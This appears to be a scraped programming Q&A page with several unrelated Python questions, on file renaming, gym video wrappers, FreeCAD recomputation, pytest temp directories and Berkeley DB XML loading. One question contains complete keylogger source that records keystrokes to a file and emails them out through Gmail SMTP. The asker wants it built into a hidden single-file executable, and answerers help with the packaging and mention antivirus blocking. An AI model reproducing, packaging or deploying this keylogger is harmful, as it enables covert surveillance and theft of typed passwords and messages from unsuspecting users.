Run CMD commands in a loop? - python-3.x

I am trying to rename numerous files in a directory (Windows10 laptop) using Python code. I am not finding any error but it is not getting executed. I have recreated the simplified scenario as below.
import pandas as pd
import os
data = {'file_1': ['temp112.pptx', 'temp212.pdf', 'temp312.pdf', 'temp412.pptx'], 'file_2': ['mktg.pptx', 'econ.pdf', 'orgg.pdf', 'qtdm.pptx']}
files=pd.DataFrame.from_dict(data)
for index, row in files.iterrows():
term = "'"+'ren'+' ' + str(row['file_1'] + ' ' + str(row['file_2']+"'"))
os.system(str(term))
print(term)
'ren temp112.pptx mktg.pptx'
'ren temp212.pdf econ.pdf'
'ren temp312.pdf orgg.pdf'
'ren temp412.pptx qtdm.pptx'
However the term 'ren temp112.pptx mktg.pptx' can be executed manually (os.system('ren temp112.pptx mktg.pptx')). Not sure why it is not executing in a loop.

Related

Alternative methods for deprecated gym.wrappers.Monitor()

The example is from Chapter 8 of Grokking Deep Reinforcement Learning written by Miguel Morales.
Please click here
The wrappers.Monitor is deprecated after the book is published. The code in question is as below:
env = wrappers.Monitor(
env, mdir, force=True,
mode=monitor_mode,
video_callable=lambda e_idx: record) if monitor_mode else env
I searched the internet and tried 2 methods but failed.
1- gnwrapper.Monitor
I pip install gym-notebook-wrapper and import gnwrapper, then rewrite the code
env = gnwrapper.Monitor(gym.make(env_name),directory="./")
A [WinError 2] The system cannot find the file specified error message is returned.
2- gym.wrappers.RecordVideo
I from gym.wrappers import RecordVideo then rewrite the code
env = RecordVideo(gym.make(env_name), "./")
A AttributeError: 'CartPoleEnv' object has no attribute 'videos' error message is returned.
Is there any way to solve the problem?
After some experiments, the best way to work around the problem is to downgrade the gym version to 0.20.0, in order to preserve the wrappers.Monitor function.
Moreover, the subprocess.Popen and subprocess.check_output does not work as the original author suggested, so I use moviepy (please pip install moviepy if you do not have this libarary and from moviepy.editor import VideoFileClip at the very beginning) to change MP4 to GIF files. The code in get_gif_html is amended as follows.
gif_path = basename + '.gif'
if not os.path.exists(gif_path):
videoClip = VideoFileClip(video_path)
videoClip.write_gif(gif_path, logger=None)
gif = io.open(gif_path, 'r+b').read()
The program now completely works.
Edit (24 Jul 2022):
The following solution is for gym version 0.25.0, as I hope the program works for later versions. Windows 10 and Juptyer Notebook is used for the demonstration.
(1) Maintain the moviepy improvement stated above
(2) import from gym.wrappers.record_video import RecordVideo and substitute
env = wrappers.Monitor(
env, mdir, force=True,
mode=monitor_mode,
video_callable=lambda e_idx: record) if monitor_mode else
with this
if monitor_mode:
env = RecordVideo(env, mdir, episode_trigger=lambda e_idx:record)
env.reset()
env.start_video_recorder()
else:
env = env
RecordVideo function takes (env, video_folder, episode_trigger) arguments, and video_callable and episode_trigger are the same thing.
(3) Loss of env.videos in get_gif_html function in new versions.
In the old setting, after the video is recorded, the MP4 and meta.json files are stored in the following address with a random file name
C:\Users\xxx\AppData\Local\Temp
https://i.stack.imgur.com/Za3Sd.jpg
This env.videos function returns a list of tuples, each tuples consisted of address path of MP4 and meta.json.
I tried to recreate the env.videos by
(a) declare the mdir as global variable
def get_make_env_fn(**kargs):
def make_env_fn(env_name, seed=None, render=None, record=False,
unwrapped=False, monitor_mode=None,
inner_wrappers=None, outer_wrappers=None):
global mdir
mdir = tempfile.mkdtemp()
(b) in the demo_progression and demo_last function, grouping all MP4 and meta_json files, zipping them and use list comprehension to make a new env_videos variable (as opposed to env.videos)
env.close()
mp4_files = ([(mdir + '\\' + file) for file in os.listdir(mdir) if file.endswith('.mp4')])
meta_json_files = ([(mdir + '\\' + file) for file in os.listdir(mdir) if file.endswith('.meta.json')])
env_videos = [(mp4, meta_json) for mp4, meta_json in zip(mp4_files, meta_json_files)]
data = get_gif_html(env_videos=env_videos,
These are all the changes.

Macro ignores parameter change

Given a FreeCAD model that consists of
Spreadsheet "parameters" with a cell aliased as "radius" and value 50
Icosahedron (from the Pyramids-and-Polyhedrons macro) with Radius=parameters.radius
some facebinders which are unimportant for the purpose of this question,
the python script below opens this model, changes the radius cell in the Spreadsheet to 15, call recompute() on the spreadsheet, invokes touch() on the icosahedron, calls recompute() on the document, and finally tessellates the icosahedron. The z coordinate of the vertex at index 11 in the tessellated mesh happens to be equal to the icosahedron's radius. I was expecting it to change to 15, according to the parameter change. But it remains at its original value 50. What am I doing wrong?
To my understanding the macro's execute method should get invoked during the recomputation of the document.
When I trace Document.recompute() with pudb, I only see it executing Facebinder.execute() but not Icosahedron.execute(). The path it takes from Document.recompute() to Facebinder.execute() method is not visible in pudb; it immediately stops in Facebinder.execute().
FREECADPATH = '/usr/local/lib' # path to your FreeCAD.so or FreeCAD.dll POLYHEDRONS_PATH = '/home/user/.FreeCAD/Mod/Pyramids-and-Polyhedrons'
import sys
sys.path.append(FREECADPATH)
sys.path.append(POLYHEDRONS_PATH)
import FreeCAD
filename = 'icosahedron.FCStd'
newRadius = 15
doc = FreeCAD.open(filename)
sheet = doc.Spreadsheet
sheet.set('radius', str(newRadius))
sheet.recompute()
print('radius = ' + str(sheet.get('radius')))
icosahedron = doc.getObjectsByLabel('Icosahedron')[0]
print('icosahedron.Radius = '+str(icosahedron.Radius))
icosahedron.touch()
doc.recompute()
print('icosahedron.Radius = '+str(icosahedron.Radius))
(vertices, faces) = icosahedron.Shape.tessellate(1)
z11 = vertices[11][2]
print('z11 = ' + str(z11))
FreeCAD.closeDocument(doc.Name)
I figured it out. The reason was Pyramids-and-Polyhedrons not being imported after all.
The first problem was that Pyramids-and-Polyhedrons imports FreeCADGui (in order to install its workbench), which depends on certain native libs that need to be added to LD_LIBRARY_PATH before running the script:
export LD_LIBRARY_PATH=$(echo $(find /usr/local/lib/python3.7/site-packages -maxdepth 2 -mindepth 2 -type f -name *.so* | sed -r 's|/[^/]+$||' | sort -u) | sed -E 's/ /:/g')
Now FreeCADGui could be imported, but it was lacking the required addCommand method that Pyramids-and-Polyhedrons invokes. I found out that FreeCADGui will only be fully initialized after FreeCADGui.showMainWindow() has been called. This requires a display, however, and I want to run the script as part of a headless toolchain in a Docker container. Therefore I added Xvfb to the image. I'm launching it in the background before running the updated script with DISPLAY pointing to Xvfb:
FREECADPATH = '/usr/local/lib' # path to your FreeCAD.so or FreeCAD.dll file
POLYHEDRONS_PATH = '/home/user/.FreeCAD/Mod/Pyramids-and-Polyhedrons'
import sys
sys.path.append(FREECADPATH)
sys.path.append(POLYHEDRONS_PATH)
import FreeCAD
import FreeCADGui
FreeCADGui.showMainWindow()
import polyhedrons
filename = 'icosahedron.FCStd'
newRadius = 15
doc = FreeCAD.open(filename)
sheet = doc.Spreadsheet
sheet.set('radius', str(newRadius))
sheet.recompute()
print('radius = ' + str(sheet.get('radius')))
icosahedron = doc.getObjectsByLabel('Icosahedron')[0]
print('icosahedron.Radius = '+str(icosahedron.Radius))
breakpoint()
icosahedron.touch()
doc.recompute()
print('icosahedron.Radius = '+str(icosahedron.Radius))
(vertices, faces) = icosahedron.Shape.tessellate(1)
z11 = vertices[11][2]
print('z11 = ' + str(z11))
FreeCAD.closeDocument(doc.Name)
Now the output is
...
z11 = 15.0
as expected.

Python Program error - The process cannot access the file because it is being used by another process

I am trying to test a python code which moves file from source path to target path . The test is done using pytest in Python3 . But I am facing a roadblock here. It is that , I am trying to remove the source and target paths at end of code completion. For this I am using a command like shutil.rmtree(path) or os.rmdir(path) . This is causing me the error - " [WinError 32] The process cannot access the file because it is being used by another process". Please help me on this. Below is the python pytest code :
import pytest
import os
import shutil
import tempfile
from sample_test_module import TestCondition
object_test_condition = TestCondition()
#pytest.mark.parametrize("test_value",['0'])
def test_condition_pass(test_value):
temp_dir = tempfile.mkdtemp()
temp_src_folder = 'ABC_File'
temp_src_dir = os.path.join(temp_dir , temp_src_folder)
temp_file_name = 'Sample_Test.txt'
temp_file_path = os.path.join(temp_src_dir , temp_file_name)
os.chdir(temp_dir)
os.mkdir(temp_src_folder)
try:
with open(temp_file_path , "w") as tmp:
tmp.write("Hello-World\n")
tmp.write("Hi-All\n")
except IOError:
print("Error has occured , please check it.")
org_val = object_test_condition.sample_test(temp_dir)
print("Temp file path is : " + temp_file_path)
print("Temp Dir is : " + temp_dir)
shutil.rmtree(temp_dir)
print("The respective dir path is now removed.)
assert org_val == test_value
Upon execution of the code , the below error is popping up :
[WinError32] The process cannot access the file because it is being used by another process : 'C:\Users\xyz\AppData\Local\Temp\tmptryggg56'
You are getting this error because the directory you are trying to remove is the current directory of the process. If you save the current directory before calling os.chdir (using os.getcwd()), and chdir back to that directory before removing temp_dir, it should work.
Your code isn't correctly indented, so here is my best guess at what it should look like.
import pytest
import os
import shutil
import tempfile
from sample_test_module import TestCondition
object_test_condition = TestCondition()
#pytest.mark.parametrize("test_value",['0'])
def test_condition_pass(test_value):
temp_dir = tempfile.mkdtemp()
temp_src_folder = 'ABC_File'
temp_src_dir = os.path.join(temp_dir , temp_src_folder)
temp_file_name = 'Sample_Test.txt'
temp_file_path = os.path.join(temp_src_dir , temp_file_name)
prev_dir = os.getcwd()
os.chdir(temp_dir)
os.mkdir(temp_src_folder)
try:
with open(temp_file_path , "w") as tmp:
tmp.write("Hello-World\n")
tmp.write("Hi-All\n")
except IOError:
print("Error has occured , please check it.")
org_val = object_test_condition.sample_test(temp_dir)
print("Temp file path is : " + temp_file_path)
print("Temp Dir is : " + temp_dir)
os.chdir(prev_dir)
shutil.rmtree(temp_dir)
print("The respective dir path is now removed.)
assert org_val == test_value
Can you try to close the temp file before removing
temp.close()

Code(keylogger) converted into .exe with pyinstaller not working as it was

I was working with a keylogger code in python 3.5. It records keystrokes with pynput in a txt file and also sends the keystrokes recorded via email with smtplib.
The code works correctly as it should when it is a .py file but doesn't record keystrokes in a file nor sends them through email when converted into a .exe file with pyinstaller. Please help me find out what's causing this problem and fix it. Thank you for looking into this matter. Have a good day!
I used the command pyinstaller - w - F filename.py to convert it.
from pynput.keyboard import Listener
import smtplib
#Var that counts for the if statement==========
c = 0
#Var that collects keystrokes for email========
strokes = ''
#Codes for the smtp email======================
serv = smtplib.SMTP('smtp.gmail.com', 587)
serv.ehlo()
serv.starttls()
serv.login('email#gmail.com', 'password')
#Function for writing keycodes to the file=====
def writeToFile(key):
global c, strokes
keydata = str(key)
keydata = keydata.replace("'","")
`enter code here`#Special keys decoder===========================
if keydata == 'Key.space':
keydata = ' '
if keydata == 'Key.shift_r':
keydata = ' (r_shift) '
if keydata == 'Key.shift':
keydata = ' (l_shift) '
if keydata == 'Key.ctrl':
keydata = ' (l_ctrl) '
if keydata == 'Key.ctrl_r':
keydata = ' (r_ctrl) '
if keydata == 'Key.enter':
keydata = ' (enter) \n '
#Opens or creates the log file===============
with open("log.txt", 'a') as f:
f.write(keydata)
c += 1
#Keystrokes are added for the email==
strokes = strokes + str(keydata)
#Condition for sending the email=====
if c >= 10:
print(strokes)
c = 0
serv.sendmail('email#gmail.com', 'receiver#gmail.com', strokes)
serv.close()
#For listening to keycodes==================
with Listener(on_press=writeToFile) as l:
l.join()
1-for me pyinstaller was a headache for me, use auto-py-to-exe tool it will help you.
2-when running .py file ,It is telling pc : I am under python's interpreter lead so i have all python's Access . but when running exe it is unknown software ,so check if anti-malware software/firewall is blocking you exe software.
Auto-py-to-exe helped me to convert py to exe.
at first, my exe didn't work and after some search i found out that most of problems are because of hidden imports/files and you have to add them manually .
so how to do so in auto-py-to-exe ?
to add the modules using the auto-py-to-exe :what modules are you using? for example: if you need to install the requests lib to make the code work,then use the auto-py-to-exe and there is option to add files ,use it to add the requests from the site-packages folder
for additional help and explaination +auto-py-to-exe troubleshooting This will help

How to put multiple documents into Berkeley-DB XML container?

I have a directory with a bunch of XML documents and want to put all of them into a container.
In other words, I need to do something like this:
dbxml> putDocument tests/*.xml
I have written a GUI program to do that but the host server does not have X-windows installed, so must be in command line.
I do a similar thing when reloading certain XML docs into my current application DB. It helps if all of the files sharing a common naming convention. In python you would could use the following script to add doc001.xml to doc009.xml:
from bsddb3.db import *
from dbxml import *
#Load source files 001 - 009
sourceDir = 'C:/directory-containing-xml-docs'
fileRange = range(1,10)
for x in fileRange:
mycontainer = mymgr.openContainer("myDB.dbxml")
xmlucontext = mymgr.createUpdateContext()
xmlinput = mymgr.createLocalFileInputStream(sourceDir + "doc00" + str(x) + ".xml")
mycontainer.putDocument("doc00" + str(x) + ".xml", xmlinput, xmlucontext)
print 'Added: ' + str(x)
del mycontainer
print '1 - 9 Added'
Hope that helps
You could have a shell script write the list of XML files to another file and then call dbxml_load_container with the -f option.
Ended up using a script that lists files and puts everything into the DB.

Resources